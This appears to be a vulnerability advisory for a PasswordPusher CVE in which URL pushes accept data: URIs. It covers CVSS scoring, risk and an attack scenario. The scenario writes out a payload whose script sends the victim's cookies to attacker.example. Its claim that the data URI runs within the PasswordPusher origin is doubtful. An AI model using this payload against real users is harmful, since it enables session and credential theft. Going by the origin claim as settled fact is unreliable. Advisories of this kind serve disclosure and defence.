PasswordPusher CVE-2026-59802

No authentication is required to create a URL push in PasswordPusher (PR:N in the CVSS 4.0 vector), so any external attacker can generate a malicious push link without an account. The victim must click the generated push link (UI:P); passive or unauthenticated server-side exploitation is not possible. The vulnerable code path is triggered specifically for URL push payloads (not password or file pushes) when the submitted URL begins with a data: scheme. The attack is limited to PasswordPusher instances running versions prior to 2.8.1; patched deployments reject data: URI schemes at input validation. The impact is limited to the victim's browser session and any credentials or data entered in attacker-rendered content - the PasswordPusher server itself is not compromised (VC:N/VI:N/VA:N per CVSS 4.0).

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P/SC:H/SI:L) scores 6.3, reflecting network-accessible exploitation with no authentication required and no attack complexity, but requiring a single victim interaction (UI:P - link click). Notably, the impact metrics show no impact on the PasswordPusher system itself (VC:N/VI:N/VA:N), while the subsequent-system confidentiality impact is rated High (SC:H), correctly modeling credential or session data theft from the victim. There is no EPSS data available in the input to provide exploitation probability context. No KEV listing and no confirmed POC exist at time of analysis, so this remains a theoretical but credible threat. The real-world risk is moderate: PasswordPusher is specifically used to share credentials, making its user base a high-value phishing target - a victim who trusts a PasswordPusher link (e.g., from a corporate IT process) is primed to submit real credentials to a spoofed login form served via data URI. The unauthenticated create-push vector (PR:N) means any external attacker can generate malicious links without an account, raising the attacker-population significantly. The primary mitigating factor is required victim interaction, limiting automated or mass exploitation.

An external attacker with no account creates a PasswordPusher URL push with a payload of data:text/html,<html><body><script>document.location='https://attacker.example/steal?c='+document.cookie</script></body></html> and shares the resulting push link via email to a corporate helpdesk team that routinely receives credential-sharing links from PasswordPusher. A helpdesk agent clicks the link expecting a password, the browser renders the data URI as HTML within the PasswordPusher origin, and the embedded JavaScript exfiltrates the agent's session cookies to the attacker's server. No public exploit code has been identified at time of analysis, but the technique is trivially constructable from the description alone.